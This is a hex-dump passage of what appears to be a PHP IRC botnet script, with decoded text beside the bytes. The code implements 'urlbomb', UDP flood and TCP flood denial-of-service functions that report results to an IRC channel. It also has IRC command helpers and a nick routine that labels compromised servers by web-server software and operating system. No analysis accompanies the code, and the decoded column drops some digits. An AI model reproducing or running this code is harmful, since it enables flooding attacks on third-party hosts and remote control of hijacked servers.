| 22432: | 0D | 0A | 09 | 09 | 09 | 24 | 73 | 75 | 63 | 63 | 65 | 73 | 73 | 20 | 3D | 20 | 30 | 3B | 0D | 0A | 09 | 09 | 09 | 66 | 6F | 72 | 28 | 20 | 24 | 69 | 20 | 3D | |
$success = ;
for( $i = |
| 22464: | 20 | 30 | 3B | 20 | 24 | 69 | 20 | 3C | 20 | 24 | 74 | 69 | 6D | 65 | 73 | 3B | 20 | 24 | 69 | 2B | 2B | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | | ; $i < $times; $i++ )
{
|
| 22496: | 09 | 09 | 09 | 24 | 66 | 70 | 20 | 3D | 20 | 66 | 73 | 6F | 63 | 6B | 6F | 70 | 65 | 6E | 28 | 20 | 24 | 68 | 6F | 73 | 74 | 2C | 20 | 38 | 30 | 2C | 20 | 24 | | $fp = fsockopen( $host, 8 , $ |
| 22528: | 65 | 72 | 72 | 6E | 6F | 2C | 20 | 24 | 65 | 72 | 72 | 73 | 74 | 72 | 2C | 20 | 33 | 30 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | | errno, $errstr, 3 );
if( $ |
| 22560: | 66 | 70 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 6F | 75 | 74 | 20 | 3D | 20 | 22 | 47 | 45 | 54 | 20 | 2F | 22 | | fp )
{
$out = "GET /" |
| 22592: | 2E | 24 | 70 | 61 | 74 | 68 | 2E | 22 | 20 | 48 | 54 | 54 | 50 | 2F | 31 | 2E | 31 | 5C | 72 | 5C | 6E | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 6F | | .$path." HTTP/1.1\r\n";
$o |
| 22624: | 75 | 74 | 20 | 2E | 3D | 20 | 22 | 48 | 6F | 73 | 74 | 3A | 20 | 22 | 2E | 24 | 68 | 6F | 73 | 74 | 2E | 22 | 5C | 72 | 5C | 6E | 22 | 3B | 0D | 0A | 09 | 09 | | ut .= "Host: ".$host."\r\n";
|
| 22656: | 09 | 09 | 09 | 24 | 6F | 75 | 74 | 20 | 2E | 3D | 20 | 22 | 4B | 65 | 65 | 70 | 2D | 41 | 6C | 69 | 76 | 65 | 3A | 20 | 33 | 30 | 30 | 5C | 72 | 5C | 6E | 22 | | $out .= "Keep-Alive: 3 \r\n" |
| 22688: | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 6F | 75 | 74 | 20 | 2E | 3D | 20 | 22 | 43 | 6F | 6E | 6E | 65 | 63 | 74 | 69 | 6F | 6E | 3A | 20 | 6B | 65 | 65 | | ;
$out .= "Connection: kee |
| 22720: | 70 | 2D | 61 | 6C | 69 | 76 | 65 | 5C | 72 | 5C | 6E | 5C | 72 | 5C | 6E | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 66 | 77 | 72 | 69 | 74 | 65 | 28 | 20 | | p-alive\r\n\r\n";
fwrite( |
| 22752: | 24 | 66 | 70 | 2C | 20 | 24 | 6F | 75 | 74 | 20 | 29 | 3B | 0D | 0A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 6D | 6F | 64 | 65 | 20 | 21 | | $fp, $out );
if( $mode ! |
| 22784: | 3D | 20 | 30 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 77 | 68 | 69 | 6C | 65 | 28 | 21 | 66 | 65 | 6F | 66 | | = )
{
while(!feof |
| 22816: | 28 | 24 | 66 | 70 | 29 | 29 | 7B | 2F | 2A | 64 | 6F | 20 | 6E | 6F | 74 | 68 | 69 | 6E | 67 | 2A | 2F | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | | ($fp)){/*do nothing*/}
}
|
| 22848: | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 66 | 63 | 6C | 6F | 73 | 65 | 28 | 20 | 24 | 66 | 70 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | |
fclose( $fp );
|
| 22880: | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 73 | 75 | 63 | 63 | 65 | 73 | 73 | 2B | 2B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 7D | |
$success++;
}
} |
| 22912: | 0D | 0A | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | |
$this->privmsg( $this->ge |
| 22944: | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 27 | 5B | 20 | 75 | 72 | 6C | 62 | 6F | 6D | 62 | 20 | 5D | 20 | 66 | 69 | 6E | 69 | 73 | 68 | 65 | 64 | | t_chan( ), '[ urlbomb ] finished |
| 22976: | 21 | 20 | 5B | 20 | 27 | 2E | 24 | 68 | 6F | 73 | 74 | 2E | 27 | 2F | 27 | 2E | 24 | 70 | 61 | 74 | 68 | 2E | 27 | 20 | 5D | 5B | 20 | 73 | 75 | 63 | 63 | 65 | | ! [ '.$host.'/'.$path.' ][ succe |
| 23008: | 73 | 73 | 3A | 20 | 27 | 2E | 24 | 73 | 75 | 63 | 63 | 65 | 73 | 73 | 2E | 27 | 20 | 5D | 27 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 0D | | ss: '.$success.' ]' );
}
|
| 23040: | 0A | 09 | 09 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 75 | 64 | 70 | 66 | 6C | 6F | 6F | 64 | 28 | 20 | 24 | 68 | 6F | 73 | 74 | 2C | 20 | 24 | 70 | 61 | |
function udpflood( $host, $pa |
| 23072: | 63 | 6B | 65 | 74 | 73 | 69 | 7A | 65 | 2C | 20 | 24 | 74 | 69 | 6D | 65 | 20 | 29 | 20 | 0D | 0A | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | | cketsize, $time )
{
$thi |
| 23104: | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 22 | | s->privmsg( $this->get_chan( )," |
| 23136: | 5B | 20 | 75 | 64 | 70 | 66 | 6C | 6F | 6F | 64 | 20 | 5D | 20 | 53 | 74 | 61 | 72 | 74 | 65 | 64 | 20 | 5B | 22 | 2E | 24 | 68 | 6F | 73 | 74 | 2E | 22 | 5D | | [ udpflood ] Started [".$host."] |
| 23168: | 22 | 20 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 24 | 70 | 61 | 63 | 6B | 65 | 74 | 20 | 3D | 20 | 22 | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 66 | 6F | 72 | 28 | | " );
$packet = "";
for( |
| 23200: | 24 | 69 | 3D | 30 | 3B | 24 | 69 | 3C | 24 | 70 | 61 | 63 | 6B | 65 | 74 | 73 | 69 | 7A | 65 | 3B | 24 | 69 | 2B | 2B | 29 | 20 | 7B | 20 | 24 | 70 | 61 | 63 | | $i= ;$i<$packetsize;$i++) { $pac |
| 23232: | 6B | 65 | 74 | 20 | 2E | 3D | 20 | 63 | 68 | 72 | 28 | 6D | 74 | 5F | 72 | 61 | 6E | 64 | 28 | 31 | 2C | 32 | 35 | 36 | 29 | 29 | 3B | 20 | 7D | 0D | 0A | 09 | | ket .= chr(mt_rand(1,256)); }
|
| 23264: | 09 | 09 | 24 | 74 | 69 | 6D | 65 | 69 | 20 | 3D | 20 | 74 | 69 | 6D | 65 | 28 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 24 | 69 | 20 | 3D | 20 | 30 | 3B | 0D | 0A | | $timei = time();
$i = ;
|
| 23296: | 09 | 09 | 09 | 77 | 68 | 69 | 6C | 65 | 28 | 74 | 69 | 6D | 65 | 28 | 29 | 2D | 24 | 74 | 69 | 6D | 65 | 69 | 20 | 3C | 20 | 24 | 74 | 69 | 6D | 65 | 29 | 20 | | while(time()-$timei < $time) |
| 23328: | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 24 | 66 | 70 | 3D | 66 | 73 | 6F | 63 | 6B | 6F | 70 | 65 | 6E | 28 | 22 | 75 | 64 | 70 | 3A | 2F | |
{
$fp=fsockopen("udp:/ |
| 23360: | 2F | 22 | 2E | 24 | 68 | 6F | 73 | 74 | 2C | 6D | 74 | 5F | 72 | 61 | 6E | 64 | 28 | 30 | 2C | 36 | 30 | 30 | 30 | 29 | 2C | 24 | 65 | 2C | 24 | 73 | 2C | 35 | | /".$host,mt_rand( ,6 ),$e,$s,5 |
| 23392: | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 66 | 77 | 72 | 69 | 74 | 65 | 28 | 24 | 66 | 70 | 2C | 24 | 70 | 61 | 63 | 6B | 65 | 74 | 29 | 3B | 0D | 0A | 09 | 09 | | );
fwrite($fp,$packet);
|
| 23424: | 09 | 09 | 66 | 63 | 6C | 6F | 73 | 65 | 28 | 24 | 66 | 70 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 24 | 69 | 2B | 2B | 3B | 0D | 0A | 09 | 09 | 09 | 7D | 0D | | fclose($fp);
$i++;
}
|
| 23456: | 0A | 09 | 09 | 09 | 24 | 65 | 6E | 76 | 20 | 3D | 20 | 24 | 69 | 20 | 2A | 20 | 24 | 70 | 61 | 63 | 6B | 65 | 74 | 73 | 69 | 7A | 65 | 3B | 0D | 0A | 09 | 09 | |
$env = $i * $packetsize;
|
| 23488: | 09 | 24 | 65 | 6E | 76 | 20 | 3D | 20 | 24 | 65 | 6E | 76 | 20 | 2F | 20 | 31 | 30 | 34 | 38 | 35 | 37 | 36 | 3B | 0D | 0A | 09 | 09 | 09 | 24 | 76 | 65 | 6C | | $env = $env / 1 48576;
$vel |
| 23520: | 20 | 3D | 20 | 24 | 65 | 6E | 76 | 20 | 2F | 20 | 24 | 74 | 69 | 6D | 65 | 3B | 0D | 0A | 09 | 09 | 09 | 24 | 76 | 65 | 6C | 20 | 3D | 20 | 72 | 6F | 75 | 6E | | = $env / $time;
$vel = roun |
| 23552: | 64 | 28 | 24 | 76 | 65 | 6C | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 24 | 65 | 6E | 76 | 20 | 3D | 20 | 72 | 6F | 75 | 6E | 64 | 28 | 24 | 65 | 6E | 76 | 29 | 3B | | d($vel);
$env = round($env); |
| 23584: | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | |
$this->privmsg( $this->get_ |
| 23616: | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 22 | 5B | 20 | 75 | 64 | 70 | 66 | 6C | 6F | 6F | 64 | 20 | 5D | 20 | 24 | 65 | 6E | 76 | 20 | 4D | 42 | 20 | 53 | 65 | | chan( ),"[ udpflood ] $env MB Se |
| 23648: | 6E | 74 | 20 | 2F | 20 | 24 | 76 | 65 | 6C | 20 | 4D | 42 | 2F | 73 | 20 | 22 | 29 | 3B | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | 66 | | nt / $vel MB/s ");
}
f |
| 23680: | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 74 | 63 | 70 | 66 | 6C | 6F | 6F | 64 | 28 | 24 | 68 | 6F | 73 | 74 | 2C | 24 | 70 | 61 | 63 | 6B | 65 | 74 | 73 | 2C | | unction tcpflood($host,$packets, |
| 23712: | 24 | 70 | 61 | 63 | 6B | 65 | 74 | 73 | 69 | 7A | 65 | 2C | 24 | 70 | 6F | 72 | 74 | 2C | 24 | 64 | 65 | 6C | 61 | 79 | 29 | 20 | 0D | 0A | 09 | 09 | 7B | 20 | | $packetsize,$port,$delay)
{ |
| 23744: | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | |
$this->privmsg( $this->get_ |
| 23776: | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 22 | 5B | 5C | 32 | 54 | 63 | 70 | 46 | 6C | 6F | 6F | 64 | 20 | 53 | 74 | 61 | 72 | 74 | 65 | 64 | 21 | 5C | 32 | 5D | | chan( ),"[\2TcpFlood Started!\2] |
| 23808: | 22 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 24 | 70 | 61 | 63 | 6B | 65 | 74 | 20 | 3D | 20 | 22 | 22 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 66 | 6F | 72 | 28 | | ");
$packet = "";
for( |
| 23840: | 24 | 69 | 3D | 30 | 3B | 24 | 69 | 3C | 24 | 70 | 61 | 63 | 6B | 65 | 74 | 73 | 69 | 7A | 65 | 3B | 24 | 69 | 2B | 2B | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | | $i= ;$i<$packetsize;$i++)
|
| 23872: | 24 | 70 | 61 | 63 | 6B | 65 | 74 | 20 | 2E | 3D | 20 | 63 | 68 | 72 | 28 | 6D | 74 | 5F | 72 | 61 | 6E | 64 | 28 | 31 | 2C | 32 | 35 | 36 | 29 | 29 | 3B | 20 | | $packet .= chr(mt_rand(1,256)); |
| 23904: | 0D | 0A | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 66 | 6F | 72 | 28 | 24 | 69 | 3D | 30 | 3B | 24 | 69 | 3C | 24 | 70 | 61 | 63 | 6B | 65 | 74 | 73 | 3B | 24 | |
for($i= ;$i<$packets;$ |
| 23936: | 69 | 2B | 2B | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 21 | 24 | 66 | 70 | 3D | 66 | 73 | 6F | 63 | 6B | 6F | | i++)
{
if(!$fp=fsocko |
| 23968: | 70 | 65 | 6E | 28 | 22 | 74 | 63 | 70 | 3A | 2F | 2F | 22 | 2E | 24 | 68 | 6F | 73 | 74 | 2C | 24 | 70 | 6F | 72 | 74 | 2C | 24 | 65 | 2C | 24 | 73 | 2C | 35 | | pen("tcp://".$host,$port,$e,$s,5 |
| 24000: | 29 | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 20 | 20 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | | ))
{
$this->privm |
| 24032: | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 22 | 5B | 5C | 32 | 54 | 63 | 70 | 46 | 6C | | sg( $this->get_chan( ),"[\2TcpFl |
| 24064: | 6F | 6F | 64 | 5C | 32 | 5D | 3A | 20 | 45 | 72 | 72 | 6F | 72 | 3A | 20 | 3C | 24 | 65 | 3E | 22 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 20 | 20 | 09 | | ood\2]: Error: <$e>");
|
| 24096: | 72 | 65 | 74 | 75 | 72 | 6E | 20 | 30 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 20 | 20 | 20 | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 09 | 20 | 20 | 20 | 09 | 65 | 6C | | return ;
}
el |
| 24128: | 73 | 65 | 20 | 0D | 0A | 09 | 09 | 09 | 20 | 20 | 20 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 66 | 77 | 72 | 69 | 74 | 65 | 28 | 24 | 66 | 70 | 2C | | se
{
fwrite($fp, |
| 24160: | 24 | 70 | 61 | 63 | 6B | 65 | 74 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 66 | 63 | 6C | 6F | 73 | 65 | 28 | 24 | 66 | 70 | 29 | 3B | 20 | 0D | 0A | | $packet);
fclose($fp);
|
| 24192: | 09 | 09 | 09 | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 09 | 20 | 20 | 20 | 09 | 73 | 6C | 65 | 65 | 70 | 28 | 24 | 64 | 65 | 6C | 61 | 79 | 29 | 3B | 20 | 0D | 0A | | }
sleep($delay);
|
| 24224: | 09 | 09 | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | | }
$this->privmsg( $this- |
| 24256: | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 22 | 5B | 5C | 32 | 54 | 63 | 70 | 46 | 6C | 6F | 6F | 64 | 20 | 46 | 69 | 6E | 69 | 73 | 68 | | >get_chan( ),"[\2TcpFlood Finish |
| 24288: | 65 | 64 | 21 | 5C | 32 | 5D | 3A | 20 | 43 | 6F | 6E | 66 | 69 | 67 | 20 | 2D | 20 | 24 | 70 | 61 | 63 | 6B | 65 | 74 | 73 | 20 | 66 | 6F | 72 | 20 | 24 | 68 | | ed!\2]: Config - $packets for $h |
| 24320: | 6F | 73 | 74 | 3A | 24 | 70 | 6F | 72 | 74 | 2E | 22 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | 66 | 75 | 6E | 63 | 74 | | ost:$port.");
}
funct |
| 24352: | 69 | 6F | 6E | 20 | 73 | 65 | 6E | 64 | 28 | 24 | 6D | 73 | 67 | 29 | 20 | 0D | 0A | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 66 | 77 | 72 | 69 | 74 | 65 | | ion send($msg)
{
fwrite |
| 24384: | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 6E | 2C | 22 | 24 | 6D | 73 | 67 | 5C | 72 | 5C | 6E | 22 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 7D | 20 | | ($this->conn,"$msg\r\n");
} |
| 24416: | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 6A | 6F | 69 | 6E | 28 | 24 | 63 | 68 | 61 | 6E | 2C | 24 | 6B | 65 | 79 | |
function join($chan,$key |
| 24448: | 3D | 4E | 55 | 4C | 4C | 29 | 20 | 0D | 0A | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 6E | 64 | 28 | 22 | 4A | | =NULL)
{
$this->send("J |
| 24480: | 4F | 49 | 4E | 20 | 24 | 63 | 68 | 61 | 6E | 20 | 24 | 6B | 65 | 79 | 22 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | | OIN $chan $key");
}
|
| 24512: | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 24 | 74 | 6F | 2C | 24 | 6D | 73 | 67 | 29 | 0D | 0A | 09 | 09 | 7B | 0D | | function privmsg($to,$msg)
{
|
| 24544: | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 6E | 64 | 28 | 22 | 50 | 52 | 49 | 56 | 4D | 53 | 47 | 20 | 24 | 74 | 6F | 20 | 3A | 24 | 6D | |
$this->send("PRIVMSG $to :$m |
| 24576: | 73 | 67 | 22 | 29 | 3B | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 6E | 6F | 74 | 69 | 63 | | sg");
}
function notic |
| 24608: | 65 | 28 | 24 | 74 | 6F | 2C | 24 | 6D | 73 | 67 | 29 | 0D | 0A | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 6E | 64 | | e($to,$msg)
{
$this->send |
| 24640: | 28 | 22 | 4E | 4F | 54 | 49 | 43 | 45 | 20 | 24 | 74 | 6F | 20 | 3A | 24 | 6D | 73 | 67 | 22 | 29 | 3B | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 20 | 0D | | ("NOTICE $to :$msg");
}
|
| 24672: | 0A | 09 | 09 | 20 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 73 | 65 | 74 | 5F | 6E | 69 | 63 | 6B | 28 | 29 | 20 | 0D | 0A | 09 | 09 | 20 | 7B | 20 | 0D | |
function set_nick()
{
|
| 24704: | 0A | 09 | 09 | 09 | 24 | 70 | 72 | 65 | 66 | 69 | 78 | 20 | 3D | 20 | 22 | 5B | 77 | 69 | 6E | 33 | 32 | 5D | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 69 | 66 | 28 | |
$prefix = "[win32]";
if( |
| 24736: | 69 | 73 | 73 | 65 | 74 | 28 | 24 | 5F | 53 | 45 | 52 | 56 | 45 | 52 | 5B | 27 | 53 | 45 | 52 | 56 | 45 | 52 | 5F | 53 | 4F | 46 | 54 | 57 | 41 | 52 | 45 | 27 | | isset($_SERVER['SERVER_SOFTWARE' |
| 24768: | 5D | 29 | 29 | 0D | 0A | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 73 | 74 | 72 | 73 | 74 | 72 | 28 | 20 | 73 | 74 | 72 | 74 | | ]))
{
if( strstr( strt |
| 24800: | 6F | 6C | 6F | 77 | 65 | 72 | 28 | 20 | 24 | 5F | 53 | 45 | 52 | 56 | 45 | 52 | 5B | 20 | 27 | 53 | 45 | 52 | 56 | 45 | 52 | 5F | 53 | 4F | 46 | 54 | 57 | 41 | | olower( $_SERVER[ 'SERVER_SOFTWA |
| 24832: | 52 | 45 | 27 | 20 | 5D | 20 | 29 | 2C | 20 | 22 | 61 | 70 | 61 | 63 | 68 | 65 | 22 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 70 | 72 | 65 | | RE' ] ), "apache" ) )
$pre |
| 24864: | 66 | 69 | 78 | 20 | 3D | 20 | 22 | 5B | 41 | 5D | 22 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 69 | 66 | 28 | 20 | 73 | 74 | 72 | 73 | 74 | | fix = "[A]";
elseif( strst |
| 24896: | 72 | 28 | 20 | 73 | 74 | 72 | 74 | 6F | 6C | 6F | 77 | 65 | 72 | 28 | 20 | 24 | 5F | 53 | 45 | 52 | 56 | 45 | 52 | 5B | 20 | 27 | 53 | 45 | 52 | 56 | 45 | 52 | | r( strtolower( $_SERVER[ 'SERVER |
| 24928: | 5F | 53 | 4F | 46 | 54 | 57 | 41 | 52 | 45 | 27 | 20 | 5D | 20 | 29 | 2C | 20 | 22 | 69 | 69 | 73 | 22 | 20 | 29 | 20 | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | | _SOFTWARE' ] ), "iis" ) )
|
| 24960: | 09 | 24 | 70 | 72 | 65 | 66 | 69 | 78 | 20 | 3D | 20 | 22 | 5B | 49 | 5D | 22 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 69 | 66 | 28 | 20 | | $prefix = "[I]";
elseif( |
| 24992: | 73 | 74 | 72 | 73 | 74 | 72 | 28 | 20 | 73 | 74 | 72 | 74 | 6F | 6C | 6F | 77 | 65 | 72 | 28 | 20 | 24 | 5F | 53 | 45 | 52 | 56 | 45 | 52 | 5B | 20 | 27 | 53 | | strstr( strtolower( $_SERVER[ 'S |
| 25024: | 45 | 52 | 56 | 45 | 52 | 5F | 53 | 4F | 46 | 54 | 57 | 41 | 52 | 45 | 27 | 20 | 5D | 20 | 29 | 2C | 20 | 22 | 78 | 69 | 74 | 61 | 6D | 69 | 22 | 20 | 29 | 20 | | ERVER_SOFTWARE' ] ), "xitami" ) |
| 25056: | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 70 | 72 | 65 | 66 | 69 | 78 | 20 | 3D | 20 | 22 | 5B | 58 | 5D | 22 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | | )
$prefix = "[X]";
|
| 25088: | 65 | 6C | 73 | 65 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 70 | 72 | 65 | 66 | 69 | 78 | 20 | 3D | 20 | 22 | 5B | 55 | 5D | 22 | 3B | 20 | 0D | 0A | 09 | | else
$prefix = "[U]";
|
| 25120: | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 21 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 69 | 73 | 5F | 73 | 61 | 66 | 65 | | }
if( !$this->is_safe |
| 25152: | 28 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 24 | 70 | 72 | 65 | 66 | 69 | 78 | 20 | 2E | 3D | 20 | 22 | 5B | 6C | 6E | | ( ) )
{
$prefix .= "[ln |
| 25184: | 78 | 5D | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 0D | 0A | 09 | 09 | 09 | 24 | 72 | 61 | 6E | 64 | 6F | 6D | 5F | 6E | 75 | 6D | 62 | 65 | 72 | | x]";
}
$random_number |
| 25216: | 20 | 3D | 20 | 22 | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 66 | 6F | 72 | 28 | 20 | 24 | 69 | 20 | 3D | 20 | 30 | 3B | 20 | 24 | 69 | 20 | 3C | 20 | 24 | 74 | 68 | | = "";
for( $i = ; $i < $th |
| 25248: | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 20 | 27 | 6D | 61 | 78 | 72 | 61 | 6E | 64 | 27 | 20 | 5D | 3B | 20 | 24 | 69 | 2B | 2B | 20 | 29 | 0D | | is->config[ 'maxrand' ]; $i++ )
|
| 25280: | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 24 | 72 | 61 | 6E | 64 | 6F | 6D | 5F | 6E | 75 | 6D | 62 | 65 | 72 | 20 | 2E | 3D | 20 | 6D | 74 | 5F | |
{
$random_number .= mt_ |
| 25312: | 72 | 61 | 6E | 64 | 28 | 20 | 30 | 2C | 20 | 39 | 20 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | | rand( , 9 );
}
$thi |
| 25344: | 73 | 2D | 3E | 6E | 69 | 63 | 6B | 20 | 3D | 20 | 73 | 70 | 72 | 69 | 6E | 74 | 66 | 28 | 20 | 24 | 70 | 72 | 65 | 66 | 69 | 78 | 2E | 24 | 74 | 68 | 69 | 73 | | s->nick = sprintf( $prefix.$this |
| 25376: | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 20 | 27 | 6E | 69 | 63 | 6B | 66 | 6F | 72 | 6D | 27 | 20 | 5D | 2C | 20 | 24 | 72 | 61 | 6E | 64 | 6F | 6D | 5F | | ->config[ 'nickform' ], $random_ |
| 25408: | 6E | 75 | 6D | 62 | 65 | 72 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 6E | 64 | 28 | 22 | 4E | 49 | 43 | 4B | 20 | | number );
$this->send("NICK |
| 25440: | 22 | 2E | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 6E | 69 | 63 | 6B | 29 | 3B | 0D | 0A | 09 | 09 | 20 | 7D | 0D | 0A | 09 | 09 | 20 | 0D | 0A | 09 | 09 | 66 | 75 | | ".$this->nick);
}
fu |
| 25472: | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 70 | 61 | 72 | 73 | 65 | 5F | 75 | 72 | 6C | 5F | 73 | 28 | 20 | 24 | 75 | 72 | 6C | 20 | 29 | 0D | 0A | 09 | 09 | 7B | 0D | | nction parse_url_s( $url )
{
|
| 25504: | 0A | 09 | 09 | 09 | 24 | 55 | 52 | 4C | 70 | 63 | 73 | 20 | 3D | 20 | 28 | 20 | 70 | 61 | 72 | 73 | 65 | 5F | 75 | 72 | 6C | 28 | 20 | 24 | 75 | 72 | 6C | 20 | |
$URLpcs = ( parse_url( $url |
| 25536: | 29 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 24 | 50 | 61 | 74 | 68 | 50 | 63 | 73 | 20 | 3D | 20 | 65 | 78 | 70 | 6C | 6F | 64 | 65 | 28 | 20 | 22 | 2F | 22 | | ) );
$PathPcs = explode( "/" |
